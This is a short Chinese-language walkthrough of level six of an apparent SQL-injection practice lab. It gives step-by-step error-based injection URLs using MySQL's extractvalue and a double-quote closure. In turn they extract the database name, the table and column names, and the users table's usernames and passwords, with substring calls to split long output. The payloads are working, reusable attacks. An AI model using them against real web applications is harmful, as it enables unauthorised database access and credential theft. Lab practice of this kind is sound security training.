1.第六關了。
?
?2.這個和第五關有點像,只是換成了雙引號,接下來的都一樣,看我操作(換個函數試一下extractvalue,他的報錯位置在第二個,那我就利用一下)
3.爆庫名?
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20database()),0x7e))--+?
4.爆表名?
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e))--+
5.爆列名?
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema="security"%20and%20table_name="users"),0x7e))--+
6.數據查看?
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users),0x7e))--+
7.字段截取?
?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20substring(group_concat(username,0x3a,password),1,32)%20from%20users),0x7e))--+
/?id=1"%20and%20extractvalue(1,concat(0x7e,(select%20substring(group_concat(username,0x3a,password),32,64)%20from%20users),0x7e))--+
這樣就拿到第六關的數據了